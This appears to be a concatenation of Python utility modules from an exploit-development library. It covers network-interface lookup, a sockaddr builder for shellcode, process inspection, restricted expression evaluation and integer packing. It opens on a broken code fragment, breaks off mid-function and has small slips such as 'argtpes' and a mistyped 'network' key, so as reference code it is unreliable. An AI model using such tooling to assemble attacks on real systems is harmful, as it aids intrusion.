     globals()[_algo + 'sumhex']) = _closure()






import ctypes
import ctypes.util
import socket

from packing import pack
from packing import p16
from packing import p32

__all__ = ['getifaddrs', 'interfaces', 'interfaces4', 'interfaces6', 'sockaddr']

# /usr/src/linux-headers-3.12-1-common/include/uapi/linux/socket.h
sa_family_t = ctypes.c_ushort

# /usr/src/linux-headers-3.12-1-common/include/linux/socket.h
class struct_sockaddr(ctypes.Structure):
    _fields_ = [
        ('sa_family', sa_family_t)       ,
        ('sa_data'  , ctypes.c_char * 14),
        ]

# /usr/src/linux-headers-3.12-1-common/include/uapi/linux/in.h
struct_in_addr = ctypes.c_uint8 * 4
class struct_sockaddr_in(ctypes.Structure):
    _fields_ = [
        ('sin_family', sa_family_t)    ,
        ('sin_port'  , ctypes.c_uint16),
        ('sin_addr'  , struct_in_addr) ,
        ]

# /usr/src/linux-headers-3.12-1-common/include/uapi/linux/in6.h
struct_in6_addr = ctypes.c_uint8 * 16
class struct_sockaddr_in6(ctypes.Structure):
    _fields_ = [
        ('sin6_family'  , ctypes.c_ushort),
        ('sin6_port'    , ctypes.c_uint16),
        ('sin6_flowinfo', ctypes.c_uint32),
        ('sin6_addr'    , struct_in6_addr),
        ('sin6_scope_id', ctypes.c_uint32),
        ]

# /usr/include/ifaddrs.h
class union_ifa_ifu(ctypes.Union):
    _fields_ = [
        ('ifu_broadaddr', ctypes.POINTER(struct_sockaddr)),
        ('ifu_dstaddr'  , ctypes.POINTER(struct_sockaddr)),
        ]
class struct_ifaddrs(ctypes.Structure):
    pass # recursively defined
struct_ifaddrs._fields_ = [
    ('ifa_next'   , ctypes.POINTER(struct_ifaddrs)) ,
    ('ifa_name'   , ctypes.c_char_p)                ,
    ('ifa_flags'  , ctypes.c_uint)                  ,
    ('ifa_addr'   , ctypes.POINTER(struct_sockaddr)),
    ('ifa_netmask', ctypes.POINTER(struct_sockaddr)),
    ('ifa_ifu'    , union_ifa_ifu)                  ,
    ('ifa_data'   , ctypes.c_void_p)                ,
    ]

def sockaddr_fixup(saptr):
    family = saptr.contents.sa_family
    addr = {}
    if   family == socket.AF_INET:
        sa = ctypes.cast(saptr, ctypes.POINTER(struct_sockaddr_in)).contents
        addr['port'] = socket.ntohs(sa.sin_port)
        addr['addr'] = socket.inet_ntop(family, sa.sin_addr)
    elif family == socket.AF_INET6:
        sa = ctypes.cast(saptr, ctypes.POINTER(struct_sockaddr_in6)).contents
        addr['port'] = socket.ntohs(sa.sin6_port)
        addr['flowinfo'] = socket.ntohl(sa.sin6_flowinfo)
        addr['addr'] = socket.inet_ntop(family, sa.sin6_addr)
        addr['scope_id'] = sa.sin6_scope_id
    return family, addr

def getifaddrs():
    """getifaddrs() -> dict list

    A wrapper for libc's ``getifaddrs``.

    Arguments:
      None

    Returns:
      list of dictionaries each representing a `struct ifaddrs`. The
      dictionaries have the fields `name`, `flags`, `family`, `addr` and
      `netmask`.  Refer to `getifaddrs(3)` for details.  The fields `addr` and
      `netmask` are themselves dictionaries.  Their structure depend on
      `family`.  If `family` is not :const:`socket.AF_INET` or
      :const:`socket.AF_INET6` they will be empty.
"""
    libc = ctypes.CDLL(ctypes.util.find_library('c'))
    getifaddrs = libc.getifaddrs
    getifaddrs.restype = ctypes.c_int
    getifaddrs.argtpes = [ctypes.POINTER(ctypes.POINTER(struct_ifaddrs))]
    freeifaddrs = libc.freeifaddrs
    freeifaddrs.restype = None
    freeifaddrs.argtypes = [ctypes.POINTER(struct_ifaddrs)]
    ifaptr = ctypes.POINTER(struct_ifaddrs)()
    result = getifaddrs(ctypes.pointer(ifaptr))
    if result == -1:
        raise OSError(ctypes.get_errno())
    del result
    try:
        ifas = []
        while ifaptr:
            ifac = ifaptr.contents
            ifa = {'name' : ifac.ifa_name,
                   'flags': ifac.ifa_flags,
                   }
            if ifac.ifa_addr:
                ifa['family'], ifa['addr'] = sockaddr_fixup(ifac.ifa_addr)
            else:
                ifa['family'], ifa['addr'] = None, None
            if ifac.ifa_netmask:
                _, ifa['netmask'] = sockaddr_fixup(ifac.ifa_netmask)
            else:
                ifa['network'] = None
            ifas.append(ifa)
            ifaptr = ifac.ifa_next
        return ifas
    finally:
        freeifaddrs(ifaptr)

def interfaces(all = False):
    """interfaces(all = False) -> dict

    Arguments:
      all (bool): Whether to include interfaces with not associated address.
      Default: :const:`False`.

    Returns:
      A dictionary mapping each of the hosts interfaces to a list of it's
      addresses.  Each entry in the list is a tuple ``(family, addr)``, and
      `family` is either :const:`socket.AF_INET` or :const:`socket.AF_INET6`.
"""
    out = {}
    for ifa in getifaddrs():
        name = ifa['name']
        if name not in out:
            out[name] = []
        if not ifa['addr']:
            continue
        family = ifa['family']
        addr = ifa['addr']['addr']
        out[name].append((family, addr))
    if not all:
        out = {k: v for k, v in out.items() if v}
    return out

def interfaces4(all = False):
    """interfaces4(all = False) -> dict

    As :func:`interfaces` but only includes IPv4 addresses and the lists in the
    dictionary only contains the addresses not the family.

    Arguments:
      all (bool): Whether to include interfaces with not associated address.
      Default: :const:`False`.

    Returns:
      A dictionary mapping each of the hosts interfaces to a list of it's
      IPv4 addresses.
"""
    out = {}
    for name, addrs in interfaces(all = all).items():
        addrs = [addr for fam, addr in addrs if fam == socket.AF_INET]
        if addrs or all:
            out[name] = addrs
    return out

def interfaces6(all = False):
    """interfaces6(all = False) -> dict

    As :func:`interfaces` but only includes IPv6 addresses and the lists in the
    dictionary only contains the addresses not the family.

    Arguments:
      all (bool): Whether to include interfaces with not associated address.
      Default: :const:`False`.

    Returns:
      A dictionary mapping each of the hosts interfaces to a list of it's
      IPv6 addresses.
"""
    out = {}
    for name, addrs in interfaces(all = all).items():
        addrs = [addr for fam, addr in addrs if fam == socket.AF_INET6]
        if addrs or all:
            out[name] = addrs
    return out

def sockaddr(host, port, network = 'ipv4'):
    """sockaddr(host, port, network = 'ipv4') -> (data, length, family)

    Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode.

    Arguments:
      host (str): Either an IP address or a hostname to be looked up.
      port (int): TCP/UDP port.
      network (str): Either 'ipv4' or 'ipv6'.

    Returns:
      A tuple containing the sockaddr buffer, length, and the address family.
"""
    address_family = {'ipv4':socket.AF_INET,'ipv6':socket.AF_INET6}[network]

    for family, _, _, _, ip in socket.getaddrinfo(host, None, address_family):
        ip = ip[0]
        if family == address_family:
            break
    else:
        log.error("Could not find %s address for %r" % (network, host))

    info = socket.getaddrinfo(host, None, address_family)
    host = socket.inet_pton(address_family, ip)
    sockaddr  = p16(address_family)
    sockaddr += pack(port, word_size = 16, endianness = 'big') #Port should be big endian = network byte order
    length    = 0

    if network == 'ipv4':
        sockaddr += host
        length    = 16 # Save ten bytes by skipping two 'push 0'
    else:
        sockaddr += p32(0xffffffff) # Save three bytes 'push -1' vs 'push 0'
        sockaddr += host
        length    = len(sockaddr) + 4 # Save five bytes 'push 0'
    return (sockaddr, length, address_family)






import errno
import socket
import time

from .. import tubes
from ..log import getLogger

try:
    import psutil
    _ok_import = True
except ImportError:
    _ok_import = False

log = getLogger(__name__)

if _ok_import:
    all_pids = psutil.pids

def pidof(target):
    """pidof(target) -> int list

    Get PID(s) of `target`.  The returned PID(s) depends on the type of `target`:

    - :class:`str`: PIDs of all processes with a name matching `target`.
    - :class:`pwnlib.tubes.process.process`: singleton list of the PID of `target`.
    - :class:`pwnlib.tubes.sock.sock`: singleton list of the PID at the
      remote end of `target` if it is running on the host.  Otherwise an
      empty list.

    Arguments:
        target(object):  The target whose PID(s) to find.

    Returns:
        A list of found PIDs.
    """
    if isinstance(target, tubes.ssh.ssh_channel):
        return [target.pid]

    elif isinstance(target, tubes.sock.sock):
         local  = target.sock.getsockname()
         remote = target.sock.getpeername()

         def match(c):
             return (c.raddr, c.laddr, c.status) == (local, remote, 'ESTABLISHED')

         return [c.pid for c in psutil.net_connections() if match(c)]

    elif isinstance(target, tuple):
        host, port = target

        host = socket.gethostbyname(host)

        def match(c):
            return c.raddr == (host, port)

        return [c.pid for c in psutil.net_connections() if match(c)]

    elif isinstance(target, tubes.process.process):
         return [target.proc.pid]

    else:
         return pid_by_name(target)

def pid_by_name(name):
    """pid_by_name(name) -> int list

    Arguments:
        name (str): Name of program.

    Returns:
        List of PIDs matching `name` sorted by lifetime, youngest to oldest.

    Example:
        >>> os.getpid() in pid_by_name(name(os.getpid()))
        True
    """
    def match(p):
        if p.status() == 'zombie':
            return False
        if p.name() == name:
            return True
        try:
            if p.exe() == name:
                return True
        except Exception:
            pass
        return False

    processes = (p for p in psutil.process_iter() if match(p))

    processes = sorted(processes, key=lambda p: p.create_time())

    return list(reversed([p.pid for p in processes]))

def name(pid):
    """name(pid) -> str

    Arguments:
        pid (int): PID of the process.

    Returns:
        Name of process as listed in ``/proc/<pid>/status``.

    Example:
        >>> pid = pidof('init')[0]
        >>> name(pid) == 'init'
        True
    """
    return psutil.Process(pid).name()

def parent(pid):
    """parent(pid) -> int

    Arguments:
        pid (int): PID of the process.

    Returns:
        Parent PID as listed in ``/proc/<pid>/status`` under ``PPid``,
        or 0 if there is not parent.
    """
    try:
         return psutil.Process(pid).parent().pid
    except Exception:
         return 0

def children(ppid):
    """children(ppid) -> int list

    Arguments:
        pid (int): PID of the process.

    Returns:
        List of PIDs of whose parent process is `pid`.
    """
    return [p.pid for p in psutil.Process(ppid).children()]

def ancestors(pid):
    """ancestors(pid) -> int list

    Arguments:
        pid (int): PID of the process.

    Returns:
        List of PIDs of whose parent process is `pid` or an ancestor of `pid`.
    """
    pids = []
    while pid != 0:
         pids.append(pid)
         pid = parent(pid)
    return pids

def descendants(pid):
    """descendants(pid) -> dict

    Arguments:
        pid (int): PID of the process.

    Returns:
        Dictionary mapping the PID of each child of `pid` to it's descendants.
    """
    this_pid = pid
    allpids = all_pids()
    ppids = {}
    def _parent(pid):
         if pid not in ppids:
             ppids[pid] = parent(pid)
         return ppids[pid]
    def _children(ppid):
         return [pid for pid in allpids if _parent(pid) == ppid]
    def _loop(ppid):
         return {pid: _loop(pid) for pid in _children(ppid)}
    return _loop(pid)

def exe(pid):
    """exe(pid) -> str

    Arguments:
        pid (int): PID of the process.

    Returns:
        The path of the binary of the process. I.e. what ``/proc/<pid>/exe`` points to.
    """
    return psutil.Process(pid).exe()

def cwd(pid):
    """cwd(pid) -> str

    Arguments:
        pid (int): PID of the process.

    Returns:
        The path of the process's current working directory. I.e. what
        ``/proc/<pid>/cwd`` points to.
    """
    return psutil.Process(pid).cwd()

def cmdline(pid):
    """cmdline(pid) -> str list

    Arguments:
        pid (int): PID of the process.

    Returns:
        A list of the fields in ``/proc/<pid>/cmdline``.
    """
    return psutil.Process(pid).cmdline()

def stat(pid):
    """stat(pid) -> str list

    Arguments:
        pid (int): PID of the process.

    Returns:
        A list of the values in ``/proc/<pid>/stat``, with the exception that ``(`` and ``)`` has been removed from around the process name.
    """
    with open('/proc/%d/stat' % pid) as fd:
         s = fd.read()
    # filenames can have ( and ) in them, dammit
    i = s.find('(')
    j = s.rfind(')')
    name = s[i+1:j]
    return s[:i].split() + [name] + s[j+1:].split()

def starttime(pid):
    """starttime(pid) -> float

    Arguments:
        pid (int): PID of the process.

    Returns:
        The time (in seconds) the process started after system boot
    """
    return psutil.Process(pid).create_time() - psutil.boot_time()

def status(pid):
    """status(pid) -> dict

    Get the status of a process.

    Arguments:
        pid (int): PID of the process.

    Returns:
        The contents of ``/proc/<pid>/status`` as a dictionary.
    """
    out = {}
    try:
        with open('/proc/%d/status' % pid) as fd:
            for line in fd:
                i = line.index(':')
                key = line[:i]
                val = line[i + 2:-1] # initial :\t and trailing \n
                out[key] = val
    except OSError as e:
        if e.errno == errno.ENOENT:
            raise ValueError('No process with PID %d' % pid)
        else:
            raise
    return out

def tracer(pid):
    """tracer(pid) -> int

    Arguments:
        pid (int): PID of the process.

    Returns:
        PID of the process tracing `pid`, or None if no `pid` is not being traced.

    Example:
        >>> tracer(os.getpid()) is None
        True
    """
    tpid = int(status(pid)['TracerPid'])
    return tpid if tpid > 0 else None

def state(pid):
    """state(pid) -> str

    Arguments:
        pid (int): PID of the process.

    Returns:
        State of the process as listed in ``/proc/<pid>/status``.  See `proc(5)` for details.

    Example:
        >>> state(os.getpid())
        'R (running)'
    """
    return status(pid)['State']

def wait_for_debugger(pid):
    """wait_for_debugger(pid) -> None

    Sleeps until the process with PID `pid` is being traced.

    Arguments:
        pid (int): PID of the process.

    Returns:
        None
    """
    with log.waitfor('Waiting for debugger') as l:
        while tracer(pid) is None:
            time.sleep(0.01)
        l.success()

if not _ok_import:
    def _make_stub(func):
        func.__doc__ = 'Stubbed out function, because psutil is not available.'
        return func

    @_make_stub
    def all_pids():
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def pidof(target):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def pid_by_name(name):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def name(pid):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def parent(pid):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def children(ppid):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def ancestors(pid):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def descendants(pid):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def exe(pid):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def cwd(pid):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def cmdline(pid):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")

    @_make_stub
    def starttime(pid):
        log.error("Called stubbed-out function. Get psutil to work on your platform, then come back.")






__all__ = [
    'crc', 'cyclic', 'fiddling', 'hashes', 'iters',
    'lists', 'misc', 'net', 'packing', 'proc', 'safeeval',
    'web'
]

from . import crc
from . import cyclic
from . import fiddling
from . import hashes
from . import iters
from . import lists
from . import misc
from . import net
from . import packing
from . import proc
from . import safeeval
from . import web






_const_codes = [
    'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
    'BUILD_LIST','BUILD_MAP','BUILD_TUPLE',
    'LOAD_CONST','RETURN_VALUE','STORE_SUBSCR', 'STORE_MAP'
    ]

_expr_codes = _const_codes + [
    'UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
    'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY',
    'BINARY_DIVIDE','BINARY_FLOOR_DIVIDE','BINARY_TRUE_DIVIDE',
    'BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT',
    'BINARY_LSHIFT','BINARY_RSHIFT','BINARY_AND','BINARY_XOR',
    'BINARY_OR',
    ]

_values_codes = _expr_codes + ['LOAD_NAME']

def _get_opcodes(codeobj):
    """_get_opcodes(codeobj) -> [opcodes]

    Extract the actual opcodes as a list from a code object

    >>> c = compile("[1 + 2, (1,2)]", "", "eval")
    >>> _get_opcodes(c)
    [100, 100, 103, 83]
    """
    import dis
    i = 0
    opcodes = []
    s = codeobj.co_code
    while i < len(s):
        code = ord(s[i])
        opcodes.append(code)
        if code >= dis.HAVE_ARGUMENT:
            i += 3
        else:
            i += 1
    return opcodes

def test_expr(expr, allowed_codes):
    """test_expr(expr, allowed_codes) -> codeobj

    Test that the expression contains only the listed opcodes.
    If the expression is valid and contains only allowed codes,
    return the compiled code object. Otherwise raise a ValueError
    """
    import dis
    allowed_codes = [dis.opmap[c] for c in allowed_codes]
    try:
        c = compile(expr, "", "eval")
    except SyntaxError:
        raise ValueError("%s is not a valid expression" % expr)
    codes = _get_opcodes(c)
    for code in codes:
        if code not in allowed_codes:
            raise ValueError("opcode %s not allowed" % dis.opname[code])
    return c

def const(expr):
    """const(expression) -> value

    Safe Python constant evaluation

    Evaluates a string that contains an expression describing
    a Python constant. Strings that are not valid Python expressions
    or that contain other code besides the constant raise ValueError.

    Examples:

        >>> const("10")
        10
        >>> const("[1,2, (3,4), {'foo':'bar'}]")
        [1, 2, (3, 4), {'foo': 'bar'}]
        >>> const("[1]+[2]")
        Traceback (most recent call last):
        ...
        ValueError: opcode BINARY_ADD not allowed
    """

    c = test_expr(expr, _const_codes)
    return eval(c)

def expr(expr):
    """expr(expression) -> value

    Safe Python expression evaluation

    Evaluates a string that contains an expression that only
    uses Python constants. This can be used to e.g. evaluate
    a numerical expression from an untrusted source.

    Examples:

        >>> expr("1+2")
        3
        >>> expr("[1,2]*2")
        [1, 2, 1, 2]
        >>> expr("__import__('sys').modules")
        Traceback (most recent call last):
        ...
        ValueError: opcode LOAD_NAME not allowed
    """

    c = test_expr(expr, _expr_codes)
    return eval(c)

def values(expr, env):
    """values(expression, dict) -> value

    Safe Python expression evaluation

    Evaluates a string that contains an expression that only
    uses Python constants and values from a supplied dictionary.
    This can be used to e.g. evaluate e.g. an argument to a syscall.

    Note: This is potentially unsafe if e.g. the __add__ method has side
          effects.

    Examples:

        >>> values("A + 4", {'A': 6})
        10
        >>> class Foo:
        ...    def __add__(self, other):
        ...        print "Firing the missiles"
        >>> values("A + 1", {'A': Foo()})
        Firing the missiles
        >>> values("A.x", {'A': Foo()})
        Traceback (most recent call last):
        ...
        ValueError: opcode LOAD_ATTR not allowed
    """

    # The caller might need his dictionary again
    env = dict(env)

    # We do not want to have built-ins set
    env['__builtins__'] = {}

    c = test_expr(expr, _values_codes)
    return eval(c, env)






 # -*- coding: utf-8 -*-
r"""
Module for packing and unpacking integers.

Simplifies access to the standard ``struct.pack`` and ``struct.unpack``
functions, and also adds support for packing/unpacking arbitrary-width
integers.

The packers are all context-aware for ``endian`` and ``signed`` arguments,
though they can be overridden in the parameters.

Examples:

    >>> p8(0)
    '\x00'
    >>> p32(0xdeadbeef)
    '\xef\xbe\xad\xde'
    >>> p32(0xdeadbeef, endian='big')
    '\xde\xad\xbe\xef'
    >>> with context.local(endian='big'): p32(0xdeadbeef)
    '\xde\xad\xbe\xef'

    Make a frozen packer, which does not change with context.

    >>> p=make_packer('all')
    >>> p(0xff)
    '\xff'
    >>> p(0x1ff)
    '\xff\x01'
    >>> with context.local(endian='big'): print repr(p(0x1ff))
    '\xff\x01'
"""
import struct
import sys

from . import iters
from ..context import LocalContext
from ..context import context

mod = sys.modules[__name__]

def pack(number, word_size = None, endianness = None, sign = None, **kwargs):
    """pack(number, word_size = None, endianness = None, sign = None, **kwargs) -> str

    Packs arbitrary-sized integer.

    Word-size, endianness and signedness is done according to context.

    `word_size` can be any positive number or the string "all". Choosing the
    string "all" will output a string long enough to contain all the significant
    bits and thus be decodable by :func:`unpack`.

    `word_size` can be any positive number. The output will contain word_size/8
    rounded up number of bytes. If word_size is not a multiple of 8, it will be
    padded with zeroes up to a byte boundary.

    Arguments:
        number (int): Number to convert
        word_size (int): Word size of the converted integer or the string 'all'.
        endianness (str): Endianness of the converted integer ("little"/"big")
        sign (str): Signedness of the converted integer (False/True)
        kwargs: Anything that can be passed to context.local

    Returns:
        The packed number as a string.

    Examples:
        >>> pack(0x414243, 24, 'big', True)
        'ABC'
        >>> pack(0x414243, 24, 'little', True)
        'CBA'
        >>> pack(0x814243, 24, 'big', False)
        '\\x81BC'
        >>> pack(0x814243, 24, 'big', True)
        Traceback (most recent call last):
           ...
        ValueError: pack(): number does not fit within word_size
        >>> pack(0x814243, 25, 'big', True)
        '\\x00\\x81BC'
        >>> pack(-1, 'all', 'little', True)
        '\\xff'
        >>> pack(-256, 'all', 'big', True)
        '\\xff\\x00'
        >>> pack(0x0102030405, 'all', 'little', True)
        '\\x05\\x04\\x03\\x02\\x01'
        >>> pack(-1)
        '\\xff\\xff\\xff\\xff'
        >>> pack(0x80000000, 'all', 'big', True)
        '\\x00\\x80\\x00\\x00\\x00'
"""
    if sign is None and number < 0:
        sign = True

    if word_size != 'all':
        kwargs.setdefault('word_size', word_size)

    kwargs.setdefault('endianness', endianness)
    kwargs.setdefault('sign', sign)

    with context.local(**kwargs):
        # Lookup in context if not found
        word_size  = 'all' if word_size == 'all' else context.word_size
        endianness = context.endianness
        sign       = context.sign

        if not isinstance(number, (int,long)):
            raise ValueError("pack(): number must be of type (int,long) (got %r)" % type(number))

        if sign not in [True, False]:
            raise ValueError("pack(): sign must be either True or False (got %r)" % sign)

        if endianness not in ['little', 'big']:
            raise ValueError("pack(): endianness must be either 'little' or 'big' (got %r)" % endianness)

        # Verify that word_size make sense
        if word_size == 'all':
            if number == 0:
                word_size = 8
            elif number > 0:
                if sign == False:
                    word_size = ((number.bit_length() - 1) | 7) + 1
                else:
                    word_size = (number.bit_length() | 7) + 1
            else:
                if sign == False:
                    raise ValueError("pack(): number does not fit within word_size")
                word_size = ((number + 1).bit_length() | 7) + 1
        elif not isinstance(word_size, (int, long)) or word_size <= 0:
            raise ValueError("pack(): word_size must be a positive integer or the string 'all'")

        if sign == True:
            limit = 1 << (word_size-1)
            if not -limit <= number < limit:
                raise ValueError("pack(): number does not fit within word_size")
        else:
            limit = 1 << word_size
            if not 0 <= number < limit:
                raise ValueError("pack(): number does not fit within word_size [%i, %r, %r]" % (0, number, limit))

        # Normalize number and size now that we have verified them
        # From now on we can treat positive and negative numbers the same
        number = number & ((1 << word_size) - 1)
        byte_size = (word_size + 7) / 8

        out = []

        for _ in range(byte_size):
            out.append(chr(number & 0xff))
            number = number >> 8

        if endianness == 'little':
            return ''.join(out)
        else:
            return ''.join(reversed(out))

@LocalContext
def unpack(data, word_size = None):
    """unpack(data, word_size = None, endianness = None, sign = None, **kwargs) -> int

    Packs arbitrary-sized integer.

    Word-size, endianness and signedness is done according to context.

    `word_size` can be any positive number or the string "all". Choosing the
    string "all" is equivalent to ``len(data)*8``.

    If `word_size` is not a multiple of 8, then the bits used for padding
    are discarded.

    Arguments:
        number (int): String to convert
        word_size (int): Word size of the converted integer or the string "all".
        endianness (str): Endianness of the converted integer ("little"/"big")
        sign (str): Signedness of the converted integer (False/True)
        kwargs: Anything that can be passed to context.local

    Returns:
        The unpacked number.

    Examples:
        >>> hex(unpack('\\xaa\\x55', 16, endian='little', sign=False))
        '0x55aa'
        >>> hex(unpack('\\xaa\\x55', 16, endian='big', sign=False))
        '0xaa55'
        >>> hex(unpack('\\xaa\\x55', 16, endian='big', sign=True))
        '-0x55ab'
        >>> hex(unpack('\\xaa\\x55', 15, endian='big', sign=True))
        '0x2a55'
        >>> hex(unpack('\\xff\\x02\\x03', 'all', endian='little', sign=True))
        '0x302ff'
        >>> hex(unpack('\\xff\\x02\\x03', 'all', endian='big', sign=True))
        '-0xfdfd'
    """

    # Lookup in context if not found
    word_size  = word_size  or context.word_size
    endianness = context.endianness
    sign       = context.sign

    # Verify that word_size make sense
    if word_size == 'all':
        word_size = len(data) * 8
    elif not isinstance(word_size, (int, long)) or word_size <= 0:
        raise ValueError("unpack(): word_size must be a positive integer or the string 'all'")

    byte_size = (word_size + 7) / 8

    if byte_size != len(data):
        raise ValueError("unpack(): data must have length %d, since word_size was %d" % (byte_size, word_size))

    number = 0

    if endianness == "little":
        data = reversed(data)
    data = bytearray(data)

    for c in data:
        number = (number << 8) + c

    number = number & ((1 << word_size) - 1)

    if not sign:
        return int(number)

    signbit = number & (1 << (word_size-1))
    return int(number - 2*signbit)

@LocalContext
def unpack_many(data, word_size = None):
    """unpack(data, word_size = None, endianness = None, sign = None) -> int list

    Splits `data` into groups of ``word_size//8`` bytes and calls :func:`unpack` on each group.  Returns a list of the results.

    `word_size` must be a multiple of `8` or the string "all".  In the latter case a singleton list will always be returned.

    Args
        number (int): String to convert
        word_size (int): Word size of the converted integers or the string "all".
        endianness (str): Endianness of the converted integer ("little"/"big")
        sign (str): Signedness of the converted integer (False/True)
        kwargs: Anything that can be passed to context.local

    Returns:
        The unpacked numbers.

    Examples:
        >>> map(hex, unpack_many('\\xaa\\x55\\xcc\\x33', 16, endian='little', sign=False))
        ['0x55aa', '0x33cc']
        >>> map(hex, unpack_many('\\xaa\\x55\\xcc\\x33', 16, endian='big', sign=False))
        ['0xaa55', '0xcc33']
        >>> map(hex, unpack_many('\\xaa\\x55\\xcc\\x33', 16, endian='big', sign=True))
        ['-0x55ab', '-0x33cd']
        >>> map(hex, unpack_many('\\xff\\x02\\x03', 'all', endian='little', sign=True))
        ['0x302ff']
        >>> map(hex, unpack_many('\\xff\\x02\\x03', 'all', endian='big', sign=True))
        ['-0xfdfd']
    """
    # Lookup in context if None
    word_size  = word_size  or context.word_size
    endianness = context.endianness
    sign       = context.sign

    if word_size == 'all':
        return [unpack(data, word_size)]

    # Currently we only group on byte boundaries
    if word_size % 8 != 0:
        raise ValueError("unpack_many(): word_size must be a multiple of 8")

    out = []
    n = word_size // 8
    for i in range(0, len(data), n):
        out.append(unpack(data[i:i+n], word_size))

    return list(map(int, out))



#
# Make individual packers, e.g. _p8lu
#
ops   = {'p': struct.pack, 'u': lambda *a: struct.unpack(*a)[0]}
sizes = {8:'b', 16:'h', 32:'i', 64:'q'}
ends  = ['b','l']
signs = ['s','u']

def make_single(op,size,end,sign):
    name = '_%s%s%s%s' % (op, size, end, sign)
    fmt  = sizes[size]
    end = '>' if end == 'b' else '<'

    if sign == 'u':
        fmt = fmt.upper()
    fmt = end+fmt

    def routine(data):
        return ops[op](fmt,data)
    routine.__name__ = name

    return name, routine

for op,size,end,sign in iters.product(ops, sizes, ends, signs):
    name, routine = make_single(op,size,end,sign)
    setattr(mod, name, routine)

return_types     = {'p': 'str', 'u': 'int'}
op_verbs         = {'p': 'pack', 'u': 'unpack'}
arg_doc          = {'p': 'number (int): Number to convert',
                    'u': 'data (str): String to convert'}
rv_doc           = {'p': 'The packed number as a string',
                    'u': 'The unpacked number'}

#
# Make normal user-oriented packers, e.g. p8
#
def make_multi(op, size):

    name = "%s%s" % (op,size)

    ls = getattr(mod, "_%sls" % (name))
    lu = getattr(mod, "_%slu" % (name))
    bs = getattr(mod, "_%sbs" % (name))
    bu = getattr(mod, "_%sbu" % (name))

    @LocalContext
    def routine(number):
        endian = context.endian
        signed = context.signed
        return {("little", True  ): ls,
                ("little", False):  lu,
                ("big",    True  ): bs,
                ("big",    False):  bu}[endian, signed](number)

    routine.__name__ = name
    routine.__doc__  = """%s%s(number, sign, endian, ...) -> %s

    %ss an %s-bit integer

    Arguments:
        %s
        endianness (str): Endianness of the converted integer ("little"/"big")
        sign (str): Signedness of the converted integer ("unsigned"/"signed")
        kwargs (dict): Arguments passed to context.local(), such as
            ``endian`` or ``signed``.

    Returns:
        %s
    """ % (op, size, return_types[op], op_verbs[op].title(), size, arg_doc[op], rv_doc[op])

    return name, routine


for op,size in iters.product(ops, sizes):
    name, routine = make_multi(op,size)
    setattr(mod, name, routine)

def make_packer(word_size = None, sign = None, **kwargs):
    """make_packer(word_size = None, endianness = None, sign = None) -> number → str

    Creates a packer by "freezing" the given arguments.

    Semantically calling ``make_packer(w, e, s)(data)`` is equivalent to calling
    ``pack(data, w, e, s)``. If word_size is one of 8, 16, 32 or 64, it is however
    faster to call this function, since it will then use a specialized version.

    Arguments:
        word_size (int): The word size to be baked into the returned packer or the string all.
        endianness (str): The endianness to be baked into the returned packer. ("little"/"big")
        sign (str): The signness to be baked into the returned packer. ("unsigned"/"signed")
        kwargs: Additional context flags, for setting by alias (e.g. ``endian=`` rather than index)

    Returns:
        A function, which takes a single argument in the form of a number and returns a string
        of that number in a packed form.

    Examples:
        >>> p = make_packer(32, endian='little', sign='unsigned')
        >>> p
        <function _p32lu at 0x...>
        >>> p(42)
        '*\\x00\\x00\\x00'
        >>> p(-1)
        Traceback (most recent call last):
            ...
        error: integer out of range for 'I' format code
        >>> make_packer(33, endian='little', sign='unsigned')
        <function <lambda> at 0x...>
"""
    with context.local(sign=sign, **kwargs):
        word_size  = word_size or context.word_size
        endianness = context.endianness
        sign       = sign if sign is None else context.sign

        if word_size in [8, 16, 32, 64]:
            packer = {
                (8, 0, 0):  _p8lu,
                (8, 0, 1):  _p8ls,
                (8, 1, 0):  _p8bu,
                (8, 1, 1):  _p8bs,
                (16, 0, 0): _p16lu,
                (16, 0, 1): _p16ls,
                (16, 1, 0): _p16bu,
                (16, 1, 1): _p16bs,
                (32, 0, 0): _p32lu,
                (32, 0, 1): _p32ls,
                (32, 1, 0): _p32bu,
                (32, 1, 1): _p32bs,
                (64, 0, 0): _p64lu,
                (64, 0, 1): _p64ls,
                (64, 1, 0): _p64bu,
                (64, 1, 1): _p64bs,
            }.get((word_size, {'big': 1, 'little': 0}[endianness], sign), None)

            if packer:
                return packer

        return lambda number: pack(number, word_size, endianness, sign)

@LocalContext
def make_unpacker(word_size = None, endianness = None, sign = None, **kwargs):
    """make_unpacker(word_size = None, endianness = None, sign = None,  **kwargs) -> str → number

    Creates a unpacker by "freezing" the given arguments.

    Semantically calling ``make_unpacker(w, e, s)(data)`` is equivalent to calling
    ``unpack(data, w, e, s)``. If word_size is one of 8, 16, 32 or 64, it is however
    faster to call this function, since it will then use a specialized version.

    Arguments:
        word_size (int): The word size to be baked into the returned packer.
        endianness (str): The endianness to be baked into the returned packer. ("little"/"big")
        sign (str): The signness to be baked into the returned packer. ("unsigned"/"signed")
        kwargs: Additional context flags, for setting by alias (e.g. ``endian=`` rather than index)

    Returns:
        A function, which takes a single argument in the form of a string and returns a number
        of that string in an unpacked form.

    Examples:
        >>> u = make_unpacker(32, endian='little', sign='unsigned')
        >>> u
        <function _u32lu at 0x...>
        >>> hex(u('/bin'))
        '0x6e69622f'
        >>> u('abcde')
        Traceback (most recent call last):
            ...
        error: unpack requires a string argument of length 4
        >>> make_unpacker(33, endian='little', sign='unsigned')
        <function <lambda> at 0x...>
"""
    word_size  = word_size or context.word_size
